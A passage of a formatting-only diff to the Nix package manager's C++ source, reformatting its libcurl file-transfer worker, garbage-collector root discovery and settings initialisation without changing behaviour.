LIBCURL_VERSION_NUM >= 0x071000 +#if !defined(_WIN32) && LIBCURL_VERSION_NUM >= 0x071000 curl_easy_setopt(req, CURLOPT_SOCKOPTFUNCTION, cloexec_callback); - #endif +#endif curl_easy_setopt(req, CURLOPT_CONNECTTIMEOUT, fileTransferSettings.connectTimeout.get()); @@ -401,10 +413,14 @@ struct curlFileTransfer : public FileTransfer auto httpStatus = getHTTPStatus(); - debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes, duration = %.2f s", - request.verb(), request.uri, code, httpStatus, result.bodySize, - std::chrono::duration_cast(finishTime - startTime).count() / 1000.0f - ); + debug( + "finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes, duration = %.2f s", + request.verb(), + request.uri, + code, + httpStatus, + result.bodySize, + std::chrono::duration_cast(finishTime - startTime).count() / 1000.0f); appendCurrentUrl(); @@ -424,8 +440,7 @@ struct curlFileTransfer : public FileTransfer if (writeException) failEx(writeException); - else if (code == CURLE_OK && successfulStatuses.count(httpStatus)) - { + else if (code == CURLE_OK && successfulStatuses.count(httpStatus)) { result.cached = httpStatus == 304; // In 2021, GitHub responds to If-None-Match with 304, @@ -461,32 +476,32 @@ struct curlFileTransfer : public FileTransfer // * 511 we're behind a captive portal err = Misc; } else { - // Don't bother retrying on certain cURL errors either +// Don't bother retrying on certain cURL errors either - // Allow selecting a subset of enum values - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Wswitch-enum" +// Allow selecting a subset of enum values +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wswitch-enum" switch (code) { - case CURLE_FAILED_INIT: - case CURLE_URL_MALFORMAT: - case CURLE_NOT_BUILT_IN: - case CURLE_REMOTE_ACCESS_DENIED: - case CURLE_FILE_COULDNT_READ_FILE: - case CURLE_FUNCTION_NOT_FOUND: - case CURLE_ABORTED_BY_CALLBACK: - case CURLE_BAD_FUNCTION_ARGUMENT: - case CURLE_INTERFACE_FAILED: - case CURLE_UNKNOWN_OPTION: - case CURLE_SSL_CACERT_BADFILE: - case CURLE_TOO_MANY_REDIRECTS: - case CURLE_WRITE_ERROR: - case CURLE_UNSUPPORTED_PROTOCOL: - err = Misc; - break; - default: // Shut up warnings - break; + case CURLE_FAILED_INIT: + case CURLE_URL_MALFORMAT: + case CURLE_NOT_BUILT_IN: + case CURLE_REMOTE_ACCESS_DENIED: + case CURLE_FILE_COULDNT_READ_FILE: + case CURLE_FUNCTION_NOT_FOUND: + case CURLE_ABORTED_BY_CALLBACK: + case CURLE_BAD_FUNCTION_ARGUMENT: + case CURLE_INTERFACE_FAILED: + case CURLE_UNKNOWN_OPTION: + case CURLE_SSL_CACERT_BADFILE: + case CURLE_TOO_MANY_REDIRECTS: + case CURLE_WRITE_ERROR: + case CURLE_UNSUPPORTED_PROTOCOL: + err = Misc; + break; + default: // Shut up warnings + break; } - #pragma GCC diagnostic pop +#pragma GCC diagnostic pop } attempt++; @@ -494,31 +509,40 @@ struct curlFileTransfer : public FileTransfer std::optional response; if (errorSink) response = std::move(errorSink->s); - auto exc = - code == CURLE_ABORTED_BY_CALLBACK && getInterrupted() - ? FileTransferError(Interrupted, std::move(response), "%s of '%s' was interrupted", request.verb(), request.uri) - : httpStatus != 0 - ? FileTransferError(err, - std::move(response), - "unable to %s '%s': HTTP error %d%s", - request.verb(), request.uri, httpStatus, - code == CURLE_OK ? "" : fmt(" (curl error: %s)", curl_easy_strerror(code))) - : FileTransferError(err, - std::move(response), - "unable to %s '%s': %s (%d) %s", - request.verb(), request.uri, curl_easy_strerror(code), code, errbuf); + auto exc = code == CURLE_ABORTED_BY_CALLBACK && getInterrupted() ? FileTransferError( + Interrupted, + std::move(response), + "%s of '%s' was interrupted", + request.verb(), + request.uri) + : httpStatus != 0 + ? FileTransferError( + err, + std::move(response), + "unable to %s '%s': HTTP error %d%s", + request.verb(), + request.uri, + httpStatus, + code == CURLE_OK ? "" : fmt(" (curl error: %s)", curl_easy_strerror(code))) + : FileTransferError( + err, + std::move(response), + "unable to %s '%s': %s (%d) %s", + request.verb(), + request.uri, + curl_easy_strerror(code), + code, + errbuf); /* If this is a transient error, then maybe retry the download after a while. If we're writing to a sink, we can only retry if the server supports ranged requests. */ - if (err == Transient - && attempt < request.tries - && (!this->request.dataCallback - || writtenToSink == 0 - || (acceptRanges && encoding.empty()))) - { - int ms = request.baseRetryTimeMs * std::pow(2.0f, attempt - 1 + std::uniform_real_distribution<>(0.0, 0.5)(fileTransfer.mt19937)); + if (err == Transient && attempt < request.tries + && (!this->request.dataCallback || writtenToSink == 0 || (acceptRanges && encoding.empty()))) { + int ms = request.baseRetryTimeMs + * std::pow( + 2.0f, attempt - 1 + std::uniform_real_distribution<>(0.0, 0.5)(fileTransfer.mt19937)); if (writtenToSink) warn("%s; retrying from offset %d in %d ms", exc.what(), writtenToSink, ms); else @@ -527,8 +551,7 @@ struct curlFileTransfer : public FileTransfer errorSink.reset(); embargo = std::chrono::steady_clock::now() + std::chrono::milliseconds(ms); fileTransfer.enqueueItem(shared_from_this()); - } - else + } else fail(std::move(exc)); } } @@ -536,23 +559,27 @@ struct curlFileTransfer : public FileTransfer struct State { - struct EmbargoComparator { - bool operator() (const std::shared_ptr & i1, const std::shared_ptr & i2) { + struct EmbargoComparator + { + bool operator()(const std::shared_ptr & i1, const std::shared_ptr & i2) + { return i1->embargo > i2->embargo; } }; bool quit = false; - std::priority_queue, std::vector>, EmbargoComparator> incoming; + std:: + priority_queue, std::vector>, EmbargoComparator> + incoming; }; Sync state_; - #ifndef _WIN32 // TODO need graceful async exit support on Windows? +#ifndef _WIN32 // TODO need graceful async exit support on Windows? /* We can't use a std::condition_variable to wake up the curl thread, because it only monitors file descriptors. So use a pipe instead. */ Pipe wakeupPipe; - #endif +#endif std::thread workerThread; @@ -564,18 +591,17 @@ struct curlFileTransfer : public FileTransfer curlm = curl_multi_init(); - #if LIBCURL_VERSION_NUM >= 0x072b00 // Multiplex requires >= 7.43.0 +#if LIBCURL_VERSION_NUM >= 0x072b00 // Multiplex requires >= 7.43.0 curl_multi_setopt(curlm, CURLMOPT_PIPELINING, CURLPIPE_MULTIPLEX); - #endif - #if LIBCURL_VERSION_NUM >= 0x071e00 // Max connections requires >= 7.30.0 - curl_multi_setopt(curlm, CURLMOPT_MAX_TOTAL_CONNECTIONS, - fileTransferSettings.httpConnections.get()); - #endif +#endif +#if LIBCURL_VERSION_NUM >= 0x071e00 // Max connections requires >= 7.30.0 + curl_multi_setopt(curlm, CURLMOPT_MAX_TOTAL_CONNECTIONS, fileTransferSettings.httpConnections.get()); +#endif - #ifndef _WIN32 // TODO need graceful async exit support on Windows? +#ifndef _WIN32 // TODO need graceful async exit support on Windows? wakeupPipe.create(); fcntl(wakeupPipe.readSide.get(), F_SETFL, O_NONBLOCK); - #endif +#endif workerThread = std::thread([&]() { workerThreadEntry(); }); } @@ -586,7 +612,8 @@ struct curlFileTransfer : public FileTransfer workerThread.join(); - if (curlm) curl_multi_cleanup(curlm); + if (curlm) + curl_multi_cleanup(curlm); } void stopWorkerThread() @@ -596,28 +623,26 @@ struct curlFileTransfer : public FileTransfer auto state(state_.lock()); state->quit = true; } - #ifndef _WIN32 // TODO need graceful async exit support on Windows? +#ifndef _WIN32 // TODO need graceful async exit support on Windows? writeFull(wakeupPipe.writeSide.get(), " ", false); - #endif +#endif } void workerThreadMain() { - /* Cause this thread to be notified on SIGINT. */ - #ifndef _WIN32 // TODO need graceful async exit support on Windows? - auto callback = createInterruptCallback([&]() { - stopWorkerThread(); - }); - #endif +/* Cause this thread to be notified on SIGINT. */ +#ifndef _WIN32 // TODO need graceful async exit support on Windows? + auto callback = createInterruptCallback([&]() { stopWorkerThread(); }); +#endif - #ifdef __linux__ +#ifdef __linux__ try { tryUnshareFilesystem(); } catch (nix::Error & e) { e.addTrace({}, "in download thread"); throw; } - #endif +#endif std::map> items; @@ -651,16 +676,19 @@ struct curlFileTransfer : public FileTransfer /* Wait for activity, including wakeup events. */ int numfds = 0; struct curl_waitfd extraFDs[1]; - #ifndef _WIN32 // TODO need graceful async exit support on Windows? +#ifndef _WIN32 // TODO need graceful async exit support on Windows? extraFDs[0].fd = wakeupPipe.readSide.get(); extraFDs[0].events = CURL_WAIT_POLLIN; extraFDs[0].revents = 0; - #endif +#endif long maxSleepTimeMs = items.empty() ? 10000 : 100; - auto sleepTimeMs = - nextWakeup != std::chrono::steady_clock::time_point() - ? std::max(0, (int) std::chrono::duration_cast(nextWakeup - std::chrono::steady_clock::now()).count()) - : maxSleepTimeMs; + auto sleepTimeMs = nextWakeup != std::chrono::steady_clock::time_point() + ? std::max( + 0, + (int) std::chrono::duration_cast( + nextWakeup - std::chrono::steady_clock::now()) + .count()) + : maxSleepTimeMs; vomit("download thread waiting for %d ms", sleepTimeMs); mc = curl_multi_wait(curlm, extraFDs, 1, sleepTimeMs, &numfds); if (mc != CURLM_OK) @@ -689,8 +717,7 @@ struct curlFileTransfer : public FileTransfer incoming.push_back(item); state->incoming.pop(); } else { - if (nextWakeup == std::chrono::steady_clock::time_point() - || item->embargo < nextWakeup) + if (nextWakeup == std::chrono::steady_clock::time_point() || item->embargo < nextWakeup) nextWakeup = item->embargo; break; } @@ -721,16 +748,15 @@ struct curlFileTransfer : public FileTransfer { auto state(state_.lock()); - while (!state->incoming.empty()) state->incoming.pop(); + while (!state->incoming.empty()) + state->incoming.pop(); state->quit = true; } } void enqueueItem(std::shared_ptr item) { - if (item->request.data - && !hasPrefix(item->request.uri, "http://") - && !hasPrefix(item->request.uri, "https://")) + if (item->request.data && !hasPrefix(item->request.uri, "http://") && !hasPrefix(item->request.uri, "https://")) throw nix::Error("uploading to '%s' is not supported", item->request.uri); { @@ -739,9 +765,9 @@ struct curlFileTransfer : public FileTransfer throw nix::Error("cannot enqueue download request because the download thread is shutting down"); state->incoming.push(item); } - #ifndef _WIN32 // TODO need graceful async exit support on Windows? +#ifndef _WIN32 // TODO need graceful async exit support on Windows? writeFull(wakeupPipe.writeSide.get(), " "); - #endif +#endif } #if NIX_WITH_S3_SUPPORT @@ -750,8 +776,8 @@ struct curlFileTransfer : public FileTransfer auto [path, params] = splitUriAndParams(uri); auto slash = path.find('/', 5); // 5 is the length of "s3://" prefix - if (slash == std::string::npos) - throw nix::Error("bad S3 URI '%s'", path); + if (slash == std::string::npos) + throw nix::Error("bad S3 URI '%s'", path); std::string bucketName(path, 5, slash - 5); std::string key(path, slash + 1); @@ -760,8 +786,7 @@ struct curlFileTransfer : public FileTransfer } #endif - void enqueueFileTransfer(const FileTransferRequest & request, - Callback callback) override + void enqueueFileTransfer(const FileTransferRequest & request, Callback callback) override { /* Ugly hack to support s3:// URIs. */ if (hasPrefix(request.uri, "s3://")) { @@ -788,7 +813,9 @@ struct curlFileTransfer : public FileTransfer #else throw nix::Error("cannot download '%s' because Nix is not built with S3 support", request.uri); #endif - } catch (...) { callback.rethrow(); } + } catch (...) { + callback.rethrow(); + } return; } @@ -819,14 +846,13 @@ ref makeFileTransfer() std::future FileTransfer::enqueueFileTransfer(const FileTransferRequest & request) { auto promise = std::make_shared>(); - enqueueFileTransfer(request, - {[promise](std::future fut) { - try { - promise->set_value(fut.get()); - } catch (...) { - promise->set_exception(std::current_exception()); - } - }}); + enqueueFileTransfer(request, {[promise](std::future fut) { + try { + promise->set_value(fut.get()); + } catch (...) { + promise->set_exception(std::current_exception()); + } + }}); return promise->get_future(); } @@ -842,9 +868,7 @@ FileTransferResult FileTransfer::upload(const FileTransferRequest & request) } void FileTransfer::download( - FileTransferRequest && request, - Sink & sink, - std::function resultCallback) + FileTransferRequest && request, Sink & sink, std::function resultCallback) { /* Note: we can't call 'sink' via request.dataCallback, because that would cause the sink to execute on the fileTransfer @@ -854,7 +878,8 @@ void FileTransfer::download( Therefore we use a buffer to communicate data between the download thread and the calling thread. */ - struct State { + struct State + { bool quit = false; std::exception_ptr exc; std::string data; @@ -872,10 +897,10 @@ void FileTransfer::download( }); request.dataCallback = [_state](std::string_view data) { - auto state(_state->lock()); - if (state->quit) return; + if (state->quit) + return; /* If the buffer is full, then go to sleep until the calling thread wakes us up (i.e. when it has removed data from the @@ -895,8 +920,8 @@ void FileTransfer::download( state->avail.notify_one(); }; - enqueueFileTransfer(request, - {[_state, resultCallback{std::move(resultCallback)}](std::future fut) { + enqueueFileTransfer( + request, {[_state, resultCallback{std::move(resultCallback)}](std::future fut) { auto state(_state->lock()); state->quit = true; try { @@ -923,13 +948,15 @@ void FileTransfer::download( if (state->data.empty()) { if (state->quit) { - if (state->exc) std::rethrow_exception(state->exc); + if (state->exc) + std::rethrow_exception(state->exc); return; } state.wait(state->avail); - if (state->data.empty()) continue; + if (state->data.empty()) + continue; } chunk = std::move(state->data); @@ -948,8 +975,11 @@ void FileTransfer::download( } template -FileTransferError::FileTransferError(FileTransfer::Error error, std::optional response, const Args & ... args) - : Error(args...), error(error), response(response) +FileTransferError::FileTransferError( + FileTransfer::Error error, std::optional response, const Args &... args) + : Error(args...) + , error(error) + , response(response) { const auto hf = HintFmt(args...); // FIXME: Due to https://github.com/NixOS/nix/issues/3841 we don't know how diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index db91e5213..6af7ad3ad 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -39,7 +39,6 @@ namespace nix { static std::string gcSocketPath = "/gc-socket/socket"; static std::string gcRootsDir = "gcroots"; - void LocalStore::addIndirectRoot(const Path & path) { std::string hash = hashString(HashAlgorithm::SHA1, path).to_string(HashFormat::Nix32, false); @@ -47,13 +46,13 @@ void LocalStore::addIndirectRoot(const Path & path) makeSymlink(realRoot, path); } - void LocalStore::createTempRootsFile() { auto fdTempRoots(_fdTempRoots.lock()); /* Create the temporary roots file for this process. */ - if (*fdTempRoots) return; + if (*fdTempRoots) + return; while (1) { if (pathExists(fnTempRoots)) @@ -71,7 +70,8 @@ void LocalStore::createTempRootsFile() struct stat st; if (fstat(fromDescriptorReadOnly(fdTempRoots->get()), &st) == -1) throw SysError("statting '%1%'", fnTempRoots); - if (st.st_size == 0) break; + if (st.st_size == 0) + break; /* The garbage collector deleted this file before we could get a lock. (It won't delete the file after we get a lock.) @@ -79,12 +79,12 @@ void LocalStore::createTempRootsFile() } } - void LocalStore::addTempRoot(const StorePath & path) { if (readOnly) { - debug("Read-only store doesn't support creating lock files for temp roots, but nothing can be deleted anyways."); - return; + debug( + "Read-only store doesn't support creating lock files for temp roots, but nothing can be deleted anyways."); + return; } createTempRootsFile(); @@ -96,7 +96,7 @@ void LocalStore::addTempRoot(const StorePath & path) *fdGCLock = openGCLock(); } - restart: +restart: /* Try to acquire a shared global GC lock (non-blocking). This only succeeds if the garbage collector is not currently running. */ @@ -156,10 +156,8 @@ void LocalStore::addTempRoot(const StorePath & path) writeFull(_fdTempRoots.lock()->get(), s); } - static std::string censored = "{censored}"; - void LocalStore::findTempRoots(Roots & tempRoots, bool censor) { /* Read the `temproots' directory for per-process temporary root @@ -177,14 +175,17 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor) pid_t pid = std::stoi(name); debug("reading temporary root file '%1%'", path); - AutoCloseFD fd(toDescriptor(open(path.c_str(), + AutoCloseFD fd(toDescriptor(open( + path.c_str(), #ifndef _WIN32 O_CLOEXEC | #endif - O_RDWR, 0666))); + O_RDWR, + 0666))); if (!fd) { /* It's okay if the file has disappeared. */ - if (errno == ENOENT) continue; + if (errno == ENOENT) + continue; throw SysError("opening temporary roots file '%1%'", path); } @@ -213,7 +214,6 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor) } } - void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, Roots & roots) { auto foundRoot = [&](const Path & path, const Path & target) { @@ -223,7 +223,8 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R roots[std::move(storePath)].emplace(path); else printInfo("skipping invalid root from '%1%' to '%2%'", path, target); - } catch (BadStorePath &) { } + } catch (BadStorePath &) { + } }; try { @@ -252,9 +253,11 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R unlink(path.c_str()); } } else { - if (!std::filesystem::is_symlink(target)) return; + if (!std::filesystem::is_symlink(target)) + return; Path target2 = readLink(target); - if (isInStore(target2)) foundRoot(target, target2); + if (isInStore(target2)) + foundRoot(target, target2); } } } @@ -269,7 +272,8 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R catch (std::filesystem::filesystem_error & e) { /* We only ignore permanent failures. */ - if (e.code() == std::errc::permission_denied || e.code() == std::errc::no_such_file_or_directory || e.code() == std::errc::not_a_directory) + if (e.code() == std::errc::permission_denied || e.code() == std::errc::no_such_file_or_directory + || e.code() == std::errc::not_a_directory) printInfo("cannot read potential root '%1%'", path); else throw; @@ -284,7 +288,6 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R } } - void LocalStore::findRootsNoTemp(Roots & roots, bool censor) { /* Process direct roots in {gcroots,profiles}. */ @@ -297,7 +300,6 @@ void LocalStore::findRootsNoTemp(Roots & roots, bool censor) findRuntimeRoots(roots, censor); } - Roots LocalStore::findRoots(bool censor) { Roots roots; @@ -319,9 +321,8 @@ static void readProcLink(const std::filesystem::path & file, UncheckedRoots & ro try { buf = std::filesystem::read_symlink(file); } catch (std::filesystem::filesystem_error & e) { - if (e.code() == std::errc::no_such_file_or_directory - || e.code() == std::errc::permission_denied - || e.code() == std::errc::no_such_process) + if (e.code() == std::errc::no_such_file_or_directory || e.code() == std::errc::permission_denied + || e.code() == std::errc::no_such_process) return; throw; } @@ -361,7 +362,7 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor) checkInterrupt(); if (std::regex_match(ent->d_name, digitsRegex)) { try { - readProcLink(fmt("/proc/%s/exe" ,ent->d_name), unchecked); + readProcLink(fmt("/proc/%s/exe", ent->d_name), unchecked); readProcLink(fmt("/proc/%s/cwd", ent->d_name), unchecked); auto fdStr = fmt("/proc/%s/fd", ent->d_name); @@ -394,7 +395,9 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor) auto envFile = fmt("/proc/%s/environ", ent->d_name); auto envString = readFile(envFile); auto env_end = std::sregex_iterator{}; - for (auto i = std::sregex_iterator{envString.begin(), envString.end(), storePathRegex}; i != env_end; ++i) + for (auto i = std::sregex_iterator{envString.begin(), envString.end(), storePathRegex}; + i != env_end; + ++i) unchecked[i->str()].emplace(envFile); } catch (SystemError & e) { if (errno == ENOENT || errno == EACCES || errno == ESRCH) @@ -415,7 +418,7 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor) try { std::regex lsofRegex(R"(^n(/.*)$)"); auto lsofLines = - tokenizeString>(runProgram(LSOF, true, { "-n", "-w", "-F", "n" }), "\n"); + tokenizeString>(runProgram(LSOF, true, {"-n", "-w", "-F", "n"}), "\n"); for (const auto & line : lsofLines) { std::smatch match; if (std::regex_match(line, match, lsofRegex)) @@ -434,22 +437,24 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor) #endif for (auto & [target, links] : unchecked) { - if (!isInStore(target)) continue; + if (!isInStore(target)) + continue; try { auto path = toStorePath(target).first; - if (!isValidPath(path)) continue; + if (!isValidPath(path)) + continue; debug("got additional root '%1%'", printStorePath(path)); if (censor) roots[path].insert(censored); else roots[path].insert(links.begin(), links.end()); - } catch (BadStorePath &) { } + } catch (BadStorePath &) { + } } } - -struct GCLimitReached { }; - +struct GCLimitReached +{}; void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) { @@ -520,7 +525,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) fdServer.close(); while (true) { auto item = remove_begin(*connections.lock()); - if (!item) break; + if (!item) + break; auto & [fd, thread] = *item; shutdown(fd, SHUT_RDWR); thread.join(); @@ -542,7 +548,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) /* Accept a new connection. */ assert(fds[1].revents & POLLIN); AutoCloseFD fdClient = accept(fdServer.get(), nullptr, nullptr); - if (!fdClient) continue; + if (!fdClient) + continue; debug("GC roots server accepted new client"); @@ -603,7 +610,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) Finally stopServer([&]() { writeFull(shutdownPipe.writeSide.get(), "x", false); wakeup.notify_all(); - if (serverThread.joinable()) serverThread.join(); + if (serverThread.joinable()) + serverThread.join(); }); #endif @@ -615,7 +623,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) if (!options.ignoreLiveness) findRootsNoTemp(rootMap, true); - for (auto & i : rootMap) roots.insert(i.first); + for (auto & i : rootMap) + roots.insert(i.first); /* Read the temporary roots created before we acquired the global GC root. Any new roots will be sent to our socket. */ @@ -632,8 +641,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) /* Helper function that deletes a path from the store and throws GCLimitReached if we've deleted enough garbage. */ - auto deleteFromStore = [&](std::string_view baseName) - { + auto deleteFromStore = [&](std::string_view baseName) { Path path = storeDir + "/" + std::string(baseName); Path realPath = realStoreDir + "/" + std::string(baseName); @@ -700,19 +708,24 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) /* If we've previously deleted this path, we don't have to handle it again. */ - if (dead.count(*path)) continue; + if (dead.count(*path)) + continue; - auto markAlive = [&]() - { + auto markAlive = [&]() { alive.insert(*path); alive.insert(start); try { StorePathSet closure; - computeFSClosure(*path, closure, - /* flipDirection */ false, gcKeepOutputs, gcKeepDerivations); + computeFSClosure( + *path, + closure, + /* flipDirection */ false, + gcKeepOutputs, + gcKeepDerivations); for (auto & p : closure) alive.insert(p); - } catch (InvalidPath &) { } + } catch (InvalidPath &) { + } }; /* If this is a root, bail out. */ @@ -721,8 +734,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) return markAlive(); } - if (options.action == GCOptions::gcDeleteSpecific - && !options.pathsToDelete.count(*path)) + if (options.action == GCOptions::gcDeleteSpecific && !options.pathsToDelete.count(*path)) return; { @@ -752,9 +764,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) derivation, then visit the derivation outputs. */ if (gcKeepDerivations && path->isDerivation()) { for (auto & [name, maybeOutPath] : queryPartialDerivationOutputMap(*path)) - if (maybeOutPath && - isValidPath(*maybeOutPath) && - queryPathInfo(*maybeOutPath)->deriver == *path) + if (maybeOutPath && isValidPath(*maybeOutPath) + && queryPathInfo(*maybeOutPath)->deriver == *path) enqueue(*maybeOutPath); } @@ -767,13 +778,14 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) } } for (auto & path : topoSortPaths(visited)) { - if (!dead.insert(path).second) continue; + if (!dead.insert(path).second) + continue; if (shouldDelete) { try { invalidatePathChecked(path); deleteFromStore(path.to_string()); referrersCache.erase(path); - } catch (PathInUse &e) { + } catch (PathInUse & e) { // If we end up here, it's likely a new occurence // of https://github.com/NixOS/nix/issues/11923 printError("BUG: %s", e.what()); @@ -805,7 +817,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) try { AutoCloseDir dir(opendir(realStoreDir.get().c_str())); - if (!dir) throw SysError("opening directory '%1%'", realStoreDir); + if (!dir) + throw SysError("opening directory '%1%'", realStoreDir); /* Read the store and delete all paths that are invalid or unreachable. We don't use readDirectory() here so that @@ -816,13 +829,13 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) while (errno = 0, dirent = readdir(dir.get())) { checkInterrupt(); std::string name = dirent->d_name; - if (name == "." || name == ".." || name == linksName) continue; + if (name == "." || name == ".." || name == linksName) + continue; if (auto storePath = maybeParseStorePath(storeDir + "/" + name)) deleteReferrersClosure(*storePath); else deleteFromStore(name); - } } catch (GCLimitReached & e) { } @@ -849,7 +862,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) printInfo("deleting unused links..."); AutoCloseDir dir(opendir(linksDir.c_str())); - if (!dir) throw SysError("opening directory '%1%'", linksDir); + if (!dir) + throw SysError("opening directory '%1%'", linksDir); int64_t actualSize = 0, unsharedSize = 0; @@ -857,7 +871,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) while (errno = 0, dirent = readdir(dir.get())) { checkInterrupt(); std::string name = dirent->d_name; - if (name == "." || name == "..") continue; + if (name == "." || name == "..") + continue; Path path = linksDir + "/" + name; auto st = lstat(path); @@ -888,15 +903,15 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) #endif ; - printInfo("note: currently hard linking saves %.2f MiB", + printInfo( + "note: currently hard linking saves %.2f MiB", ((unsharedSize - actualSize - overhead) / (1024.0 * 1024.0))); } /* While we're at it, vacuum the database. */ - //if (options.action == GCOptions::gcDeleteDead) vacuumDB(); + // if (options.action == GCOptions::gcDeleteDead) vacuumDB(); } - void LocalStore::autoGC(bool sync) { #if HAVE_STATVFS @@ -926,15 +941,18 @@ void LocalStore::autoGC(bool sync) auto now = std::chrono::steady_clock::now(); - if (now < state->lastGCCheck + std::chrono::seconds(settings.minFreeCheckInterval)) return; + if (now < state->lastGCCheck + std::chrono::seconds(settings.minFreeCheckInterval)) + return; auto avail = getAvail(); state->lastGCCheck = now; - if (avail >= settings.minFree || avail >= settings.maxFree) return; + if (avail >= settings.minFree || avail >= settings.maxFree) + return; - if (avail > state->availAfterGC * 0.97) return; + if (avail > state->availAfterGC * 0.97) + return; state->gcRunning = true; @@ -942,7 +960,6 @@ void LocalStore::autoGC(bool sync) future = state->gcFuture = promise.get_future().share(); std::thread([promise{std::move(promise)}, this, avail, getAvail]() mutable { - try { /* Wake up any threads waiting for the auto-GC to finish. */ @@ -969,15 +986,14 @@ void LocalStore::autoGC(bool sync) // future, but we don't really care. (what??) ignoreExceptionInDestructor(); } - }).detach(); } - sync: +sync: // Wait for the future outside of the state lock. - if (sync) future.get(); + if (sync) + future.get(); #endif } - } diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index c2ecc4964..2caa7dc62 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -16,30 +16,29 @@ #include #ifndef _WIN32 -# include +# include #endif #ifdef __GLIBC__ -# include -# include -# include +# include +# include +# include #endif #ifdef __APPLE__ -# include "nix/util/processes.hh" +# include "nix/util/processes.hh" #endif #include "nix/util/config-impl.hh" #ifdef __APPLE__ -#include +# include #endif #include "store-config-private.hh" namespace nix { - /* The default location of the daemon socket, relative to nixStateDir. The socket is in a directory to allow you to control access to the Nix daemon by setting the mode/ownership of the directory @@ -55,17 +54,18 @@ Settings::Settings() : nixPrefix(NIX_PREFIX) , nixStore( #ifndef _WIN32 - // On Windows `/nix/store` is not a canonical path, but we dont' - // want to deal with that yet. - canonPath + // On Windows `/nix/store` is not a canonical path, but we dont' + // want to deal with that yet. + canonPath #endif - (getEnvNonEmpty("NIX_STORE_DIR").value_or(getEnvNonEmpty("NIX_STORE").value_or(NIX_STORE_DIR)))) + (getEnvNonEmpty("NIX_STORE_DIR").value_or(getEnvNonEmpty("NIX_STORE").value_or(NIX_STORE_DIR)))) , nixDataDir(canonPath(getEnvNonEmpty("NIX_DATA_DIR").value_or(NIX_DATA_DIR))) , nixLogDir(canonPath(getEnvNonEmpty("NIX_LOG_DIR").value_or(NIX_LOG_DIR))) , nixStateDir(canonPath(getEnvNonEmpty("NIX_STATE_DIR").value_or(NIX_STATE_DIR))) , nixConfDir(canonPath(getEnvNonEmpty("NIX_CONF_DIR").value_or(NIX_CONF_DIR))) , nixUserConfFiles(getUserConfigFiles()) - , nixDaemonSocketFile(canonPath(getEnvNonEmpty("NIX_DAEMON_SOCKET_PATH").value_or(nixStateDir + DEFAULT_SOCKET_PATH))) + , nixDaemonSocketFile( + canonPath(getEnvNonEmpty("NIX_DAEMON_SOCKET_PATH").value_or(nixStateDir + DEFAULT_SOCKET_PATH))) { #ifndef _WIN32 buildUsersGroup = isRootUser() ? "nixbld" : ""; @@ -91,7 +91,8 @@ Settings::Settings() /* chroot-like behavior from Apple's sandbox */ #ifdef __APPLE__ - sandboxPaths = tokenizeString("/System/Library/Frameworks /System/Library/PrivateFrameworks /bin/sh /bin/bash /private/tmp /private/var/tmp /usr/lib"); + sandboxPaths = tokenizeString( + "/System/Library/Frameworks /System/Library/PrivateFrameworks /bin/sh /bin/bash /private/tmp /private/var/tmp /usr/lib"); allowedImpureHostPrefixes = tokenizeString("/System/Library /usr/lib /dev /bin/sh"); #endif } @@ -102,7 +103,8 @@ void loadConfFile(AbstractConfig & config) try { std::string contents = readFile(path); config.applyConfig(contents, path); - } catch (SystemError &) { } + } catch (SystemError &) { + } }; applyConfigFile(settings.nixConfDir + "/nix.conf"); @@ -120,7 +122,6 @@ void loadConfFile(AbstractConfig & config) if (nixConfEnv.has_value()) { config.applyConfig(nixConfEnv.value(), "NIX_CONFIG"); } - } std::vector getUserConfigFiles() @@ -146,13 +147,14 @@ unsigned int Settings::getDefaultCores() const unsigned int maxCPU = getMaxCPU(); if (maxCPU > 0) - return maxCPU; + return maxCPU; else - return concurrency; + return concurrency; } #ifdef __APPLE__ -static bool hasVirt() { +static bool hasVirt() +{ int hasVMM; int hvSupport; @@ -181,19 +183,19 @@ StringSet Settings::getDefaultSystemFeatures() actually require anything special on the machines. */ StringSet features{"nixos-test", "benchmark", "big-parallel"}; - #ifdef __linux__ +#ifdef __linux__ features.insert("uid-range"); - #endif +#endif - #ifdef __linux__ +#ifdef __linux__ if (access("/dev/kvm", R_OK | W_OK) == 0) features.insert("kvm"); - #endif +#endif - #ifdef __APPLE__ +#ifdef __APPLE__ if (hasVirt()) features.insert("apple-virt"); - #endif +#endif return features; } @@ -214,8 +216,11 @@ StringSet Settings::getDefaultExtraPlatforms() // machines. Note that we can’t force processes from executing // x86_64 in aarch64 environments or vice versa since they can // always exec with their own binary preferences. - if (std::string{NIX_LOCAL_SYSTEM} == 